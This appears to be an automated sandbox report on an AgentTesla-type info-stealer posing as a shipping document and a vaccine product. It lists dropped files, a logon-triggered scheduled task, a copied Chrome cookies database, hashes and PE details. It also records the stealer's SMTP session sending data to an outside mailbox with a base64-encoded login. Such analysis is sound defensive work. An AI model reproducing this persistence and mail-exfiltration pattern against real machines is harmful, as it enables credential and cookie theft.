SHA-512:	CE1D8673A1C8827F8687F2D849CE74CB1D9891472EB659A13027C9AB9C2522D182845B09EDA24D5BF8E7C957B4E46A067D39FC1031EB2E8E75DE26F30BB7F2FF
Malicious:	true
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>computer\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>computer\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true

C:\Users\user\AppData\Roaming\ais0csd3.cv5\Chrome\Default\Cookies Download File
Process:	C:\Users\user\Desktop\BL Draft Copy #747470.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6970840431455908
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBocLgAZOZD/0:T5LLOpEO5J/Kn7U1uBo8NOZ0
MD5:	00681D89EDDB6AD25E6F4BD2E66C61C6
SHA1:	14B2FBFB460816155190377BBC66AB5D2A15F7AB
SHA-256:	8BF06FD5FAE8199D261EB879E771146AE49600DBDED7FDC4EAC83A8C6A7A5D85
SHA-512:	159A9DE664091A3986042B2BE594E989FD514163094AC606DC3A6A7661A66A78C0D365B8CA2C94B8BC86D552E59D50407B4680EDADB894320125F0E9F48872D3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\myAHtoyS.exe Download File
Process:	C:\Users\user\Desktop\BL Draft Copy #747470.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	878592
Entropy (8bit):	6.815171149795038
Encrypted:	false
SSDEEP:	12288:CCImHAGL08xZXMzcY8KaVumnG4ju84e+e+KBj:exLofxVU4Ge+K
MD5:	125158A5CEC004BA7EE2910B6A835292
SHA1:	22A58409BED9A9801AA9894CEAE4858FBF2C81E5
SHA-256:	4BC04AA1102D1DDAB6DE06654183987351F5215C5CF3FE6F9CB13B3EFCD99656
SHA-512:	A7CC602AD37DC4AC15327D22E59CA2C57C2C91231F3E89A62384BD4727D7D30BCD64E65475313A0B37EB709D8C8C7B1FBCD0270B0E4C63BE30C29F9DAB2A38C5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 35%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......`..............P.............~.... ........... ....................................@.................................0...K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc...............f..............@..B................`.......H.......@+.........@...h]...............................................+.&..(....6+.&...(........0...................... @.. {N. X ;..Y ....c;B....... >...f ....XYE........_..._...,...K...8Z... ....f V..a .'z.a* ...f K...af .'^.Y* .J.e ....Y ....b ....c ....X* ]... 3$..X ....cfe* ....e*.0..........+.&..s.........+...8a.+...+a8y.....0Y+;...+.......+......&...+...+YE.... ...2...E...W...h...z...+.E....................+....+.+.s............8.........&+..+....8l...s......

C:\Users\user\AppData\Roaming\myAHtoyS.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\BL Draft Copy #747470.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.815171149795038
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	BL Draft Copy #747470.exe
File size:	878592
MD5:	125158a5cec004ba7ee2910b6a835292
SHA1:	22a58409bed9a9801aa9894ceae4858fbf2c81e5
SHA256:	4bc04aa1102d1ddab6de06654183987351f5215c5cf3fe6f9cb13b3efcd99656
SHA512:	a7cc602ad37dc4ac15327d22e59ca2c57c2c91231f3e89a62384bd4727d7d30bcd64e65475313a0b37eb709d8c8c7b1fbcd0270b0e4c63be30c29f9dab2a38c5
SSDEEP:	12288:CCImHAGL08xZXMzcY8KaVumnG4ju84e+e+KBj:exLofxVU4Ge+K
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......`..............P.............~.... ........... ....................................@................................

File Icon


Icon Hash:	78e4c4ccc4c4c0c0

Static PE Info

General
Entrypoint:	0x110ae87e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x11000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x600E9011 [Mon Jan 25 09:32:01 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [11002000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xae830	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0x29a00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xda000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xac884	0xaca00	False	0.675396564989	data	7.4641212281	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0xb0000	0x29a00	0x29a00	False	0.118689001502	data	2.57748829649	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xda000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0xb0250	0x10828	dBase III DBT, version number 0, next free block index 40
RT_ICON	0xc0a78	0x860	PNG image data, 256 x 256, 8-bit gray+alpha, non-interlaced
RT_ICON	0xc12d8	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 0, next used block 0
RT_ICON	0xc3880	0x10a8	dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 0, next used block 0
RT_ICON	0xc4928	0x10828	dBase III DBT, version number 0, next free block index 40
RT_ICON	0xd5150	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16384, next free block index 40, next free block 0, next used block 0
RT_GROUP_ICON	0xd9378	0x14	data
RT_GROUP_ICON	0xd938c	0x5a	data
RT_VERSION	0xd93e8	0x3a4	data
RT_MANIFEST	0xd978c	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Bharat Biotech (C) 2021
Assembly Version	48.0.31.9
InternalName	AssemblyAttributesGoHereSM.exe
FileVersion	48.0.31.09
CompanyName	Bharat Biotech
LegalTrademarks
Comments	BBV152
ProductName	BBV152
ProductVersion	48.0.31.09
FileDescription	BBV152
OriginalFilename	AssemblyAttributesGoHereSM.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/27/21-15:40:35.387940	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49744	587	192.168.2.3	162.215.249.91
01/27/21-15:40:39.573506	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49745	587	192.168.2.3	162.215.249.91

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 27, 2021 15:40:33.500226021 CET	49744	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:33.687643051 CET	587	49744	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:33.687750101 CET	49744	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:34.172257900 CET	587	49744	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:34.172804117 CET	49744	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:34.361555099 CET	587	49744	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:34.364537001 CET	49744	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:34.552763939 CET	587	49744	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:34.556365967 CET	49744	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:34.784570932 CET	587	49744	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:34.786215067 CET	49744	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:34.971618891 CET	587	49744	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:34.972244978 CET	49744	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:35.190584898 CET	587	49744	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:35.191073895 CET	49744	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:35.376176119 CET	587	49744	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:35.376306057 CET	587	49744	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:35.387939930 CET	49744	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:35.388271093 CET	49744	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:35.388468981 CET	49744	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:35.388636112 CET	49744	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:35.578268051 CET	587	49744	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:35.578305960 CET	587	49744	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:35.578315973 CET	587	49744	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:35.628073931 CET	49744	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:36.831295967 CET	49744	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:37.022589922 CET	587	49744	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:37.023705006 CET	587	49744	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:37.023778915 CET	49744	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:37.023808956 CET	49744	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:37.211483002 CET	587	49744	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:37.889930964 CET	49745	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:38.075484037 CET	587	49745	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:38.075812101 CET	49745	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:38.388313055 CET	587	49745	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:38.391540051 CET	49745	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:38.577089071 CET	587	49745	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:38.577860117 CET	49745	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:38.763447046 CET	587	49745	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:38.763978004 CET	49745	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:38.953967094 CET	587	49745	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:38.958499908 CET	49745	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:39.144212961 CET	587	49745	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:39.144929886 CET	49745	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:39.379036903 CET	587	49745	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:39.381092072 CET	587	49745	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:39.381411076 CET	49745	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:39.566580057 CET	587	49745	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:39.566694975 CET	587	49745	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:39.573129892 CET	49745	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:39.573506117 CET	49745	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:39.573797941 CET	49745	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:39.574081898 CET	49745	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:39.574393034 CET	49745	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:39.574650049 CET	49745	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:39.574857950 CET	49745	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:39.575015068 CET	49745	587	192.168.2.3	162.215.249.91
Jan 27, 2021 15:40:39.758888006 CET	587	49745	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:39.759186983 CET	587	49745	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:39.759448051 CET	587	49745	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:39.760349989 CET	587	49745	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:39.760638952 CET	587	49745	162.215.249.91	192.168.2.3
Jan 27, 2021 15:40:39.815946102 CET	49745	587	192.168.2.3	162.215.249.91

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 27, 2021 15:38:40.633764982 CET	60831	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:38:40.684362888 CET	53	60831	8.8.8.8	192.168.2.3
Jan 27, 2021 15:38:41.609376907 CET	60100	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:38:41.660146952 CET	53	60100	8.8.8.8	192.168.2.3
Jan 27, 2021 15:38:42.541364908 CET	53195	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:38:42.597834110 CET	53	53195	8.8.8.8	192.168.2.3
Jan 27, 2021 15:38:43.587028980 CET	50141	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:38:43.637615919 CET	53	50141	8.8.8.8	192.168.2.3
Jan 27, 2021 15:38:44.569364071 CET	53023	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:38:44.618776083 CET	53	53023	8.8.8.8	192.168.2.3
Jan 27, 2021 15:38:45.516994953 CET	49563	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:38:45.566935062 CET	53	49563	8.8.8.8	192.168.2.3
Jan 27, 2021 15:38:46.508770943 CET	51352	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:38:46.568001986 CET	53	51352	8.8.8.8	192.168.2.3
Jan 27, 2021 15:38:47.628586054 CET	59349	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:38:47.686671972 CET	53	59349	8.8.8.8	192.168.2.3
Jan 27, 2021 15:38:48.615596056 CET	57084	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:38:48.676919937 CET	53	57084	8.8.8.8	192.168.2.3
Jan 27, 2021 15:38:49.646852970 CET	58823	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:38:49.694704056 CET	53	58823	8.8.8.8	192.168.2.3
Jan 27, 2021 15:38:50.669192076 CET	57568	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:38:50.717133999 CET	53	57568	8.8.8.8	192.168.2.3
Jan 27, 2021 15:39:10.820998907 CET	50540	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:39:10.882679939 CET	53	50540	8.8.8.8	192.168.2.3
Jan 27, 2021 15:39:10.985491991 CET	54366	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:39:11.035700083 CET	53	54366	8.8.8.8	192.168.2.3
Jan 27, 2021 15:39:22.213756084 CET	53034	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:39:22.271456957 CET	53	53034	8.8.8.8	192.168.2.3
Jan 27, 2021 15:39:29.062257051 CET	57762	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:39:29.120871067 CET	53	57762	8.8.8.8	192.168.2.3
Jan 27, 2021 15:39:30.326040983 CET	55435	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:39:30.373845100 CET	53	55435	8.8.8.8	192.168.2.3
Jan 27, 2021 15:39:35.005244017 CET	50713	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:39:35.080034018 CET	53	50713	8.8.8.8	192.168.2.3
Jan 27, 2021 15:39:37.994842052 CET	56132	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:39:38.055236101 CET	53	56132	8.8.8.8	192.168.2.3
Jan 27, 2021 15:40:18.616282940 CET	58987	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:40:18.664115906 CET	53	58987	8.8.8.8	192.168.2.3
Jan 27, 2021 15:40:32.956835032 CET	56579	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:40:33.150487900 CET	53	56579	8.8.8.8	192.168.2.3
Jan 27, 2021 15:40:33.179351091 CET	60633	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:40:33.394534111 CET	53	60633	8.8.8.8	192.168.2.3
Jan 27, 2021 15:40:37.353630066 CET	61292	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:40:37.410239935 CET	53	61292	8.8.8.8	192.168.2.3
Jan 27, 2021 15:40:37.829807043 CET	63619	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:40:37.888125896 CET	53	63619	8.8.8.8	192.168.2.3
Jan 27, 2021 15:40:37.944574118 CET	64938	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:40:37.992598057 CET	53	64938	8.8.8.8	192.168.2.3
Jan 27, 2021 15:40:38.385370970 CET	61946	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:40:38.461071968 CET	53	61946	8.8.8.8	192.168.2.3
Jan 27, 2021 15:41:29.406645060 CET	64910	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:41:29.458532095 CET	53	64910	8.8.8.8	192.168.2.3
Jan 27, 2021 15:41:30.167496920 CET	52123	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:41:30.226586103 CET	53	52123	8.8.8.8	192.168.2.3
Jan 27, 2021 15:41:31.175510883 CET	56130	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:41:31.237050056 CET	53	56130	8.8.8.8	192.168.2.3
Jan 27, 2021 15:41:31.845662117 CET	56338	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:41:31.906846046 CET	53	56338	8.8.8.8	192.168.2.3
Jan 27, 2021 15:41:32.505964994 CET	59420	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:41:32.562412977 CET	53	59420	8.8.8.8	192.168.2.3
Jan 27, 2021 15:41:33.250128031 CET	58784	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:41:33.298245907 CET	53	58784	8.8.8.8	192.168.2.3
Jan 27, 2021 15:41:34.069631100 CET	63978	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:41:34.117554903 CET	53	63978	8.8.8.8	192.168.2.3
Jan 27, 2021 15:41:35.339411020 CET	62938	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:41:35.398880005 CET	53	62938	8.8.8.8	192.168.2.3
Jan 27, 2021 15:41:36.606127024 CET	55708	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:41:37.578093052 CET	55708	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:41:38.084826946 CET	53	55708	8.8.8.8	192.168.2.3
Jan 27, 2021 15:41:38.085246086 CET	53	55708	8.8.8.8	192.168.2.3
Jan 27, 2021 15:41:38.629118919 CET	56803	53	192.168.2.3	8.8.8.8
Jan 27, 2021 15:41:38.685359001 CET	53	56803	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 27, 2021 15:40:32.956835032 CET	192.168.2.3	8.8.8.8	0x938c	Standard query (0)	mail.unique-skill.com	A (IP address)	IN (0x0001)
Jan 27, 2021 15:40:33.179351091 CET	192.168.2.3	8.8.8.8	0x438b	Standard query (0)	mail.unique-skill.com	A (IP address)	IN (0x0001)
Jan 27, 2021 15:40:37.353630066 CET	192.168.2.3	8.8.8.8	0xba21	Standard query (0)	mail.unique-skill.com	A (IP address)	IN (0x0001)
Jan 27, 2021 15:40:37.829807043 CET	192.168.2.3	8.8.8.8	0x7cb1	Standard query (0)	mail.unique-skill.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 27, 2021 15:40:33.150487900 CET	8.8.8.8	192.168.2.3	0x938c	No error (0)	mail.unique-skill.com	shared116.accountservergroup.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 15:40:33.150487900 CET	8.8.8.8	192.168.2.3	0x938c	No error (0)	shared116.accountservergroup.com		162.215.249.91	A (IP address)	IN (0x0001)
Jan 27, 2021 15:40:33.394534111 CET	8.8.8.8	192.168.2.3	0x438b	No error (0)	mail.unique-skill.com	shared116.accountservergroup.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 15:40:33.394534111 CET	8.8.8.8	192.168.2.3	0x438b	No error (0)	shared116.accountservergroup.com		162.215.249.91	A (IP address)	IN (0x0001)
Jan 27, 2021 15:40:37.410239935 CET	8.8.8.8	192.168.2.3	0xba21	No error (0)	mail.unique-skill.com	shared116.accountservergroup.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 15:40:37.410239935 CET	8.8.8.8	192.168.2.3	0xba21	No error (0)	shared116.accountservergroup.com		162.215.249.91	A (IP address)	IN (0x0001)
Jan 27, 2021 15:40:37.888125896 CET	8.8.8.8	192.168.2.3	0x7cb1	No error (0)	mail.unique-skill.com	shared116.accountservergroup.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 15:40:37.888125896 CET	8.8.8.8	192.168.2.3	0x7cb1	No error (0)	shared116.accountservergroup.com		162.215.249.91	A (IP address)	IN (0x0001)

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jan 27, 2021 15:40:34.172257900 CET	587	49744	162.215.249.91	192.168.2.3	220-shared116.accountservergroup.com ESMTP Exim 4.91 #1 Wed, 27 Jan 2021 08:40:34 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 27, 2021 15:40:34.172804117 CET	49744	587	192.168.2.3	162.215.249.91	EHLO 128757
Jan 27, 2021 15:40:34.361555099 CET	587	49744	162.215.249.91	192.168.2.3	250-shared116.accountservergroup.com Hello 128757 [84.17.52.74] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 27, 2021 15:40:34.364537001 CET	49744	587	192.168.2.3	162.215.249.91	AUTH login cG1AdW5pcXVlLXNraWxsLmNvbQ==
Jan 27, 2021 15:40:34.552763939 CET	587	49744	162.215.249.91	192.168.2.3	334 UGFzc3dvcmQ6
Jan 27, 2021 15:40:34.784570932 CET	587	49744	162.215.249.91	192.168.2.3	235 Authentication succeeded
Jan 27, 2021 15:40:34.786215067 CET	49744	587	192.168.2.3	162.215.249.91	MAIL FROM:<pm@unique-skill.com>
Jan 27, 2021 15:40:34.971618891 CET	587	49744	162.215.249.91	192.168.2.3	250 OK
Jan 27, 2021 15:40:34.972244978 CET	49744	587	192.168.2.3	162.215.249.91	RCPT TO:<mpdolx@yandex.com>
Jan 27, 2021 15:40:35.190584898 CET	587	49744	162.215.249.91	192.168.2.3	250 Accepted
Jan 27, 2021 15:40:35.191073895 CET	49744	587	192.168.2.3	162.215.249.91	DATA
Jan 27, 2021 15:40:35.376306057 CET	587	49744	162.215.249.91	192.168.2.3	354 Enter message, ending with "." on a line by itself
Jan 27, 2021 15:40:35.388636112 CET	49744	587	192.168.2.3	162.215.249.91	.
Jan 27, 2021 15:40:35.578315973 CET	587	49744	162.215.249.91	192.168.2.3	250 OK id=1l4lzn-000foR-9h
Jan 27, 2021 15:40:36.831295967 CET	49744	587	192.168.2.3	162.215.249.91	QUIT
Jan 27, 2021 15:40:37.022589922 CET	587	49744	162.215.249.91	192.168.2.3	221 shared116.accountservergroup.com closing connection
Jan 27, 2021 15:40:38.388313055 CET	587	49745	162.215.249.91	192.168.2.3	220-shared116.accountservergroup.com ESMTP Exim 4.91 #1 Wed, 27 Jan 2021 08:40:38 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 27, 2021 15:40:38.391540051 CET	49745	587	192.168.2.3	162.215.249.91	EHLO 128757
Jan 27, 2021 15:40:38.577089071 CET	587	49745	162.215.249.91	192.168.2.3	250-shared116.accountservergroup.com Hello 128757 [84.17.52.74] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
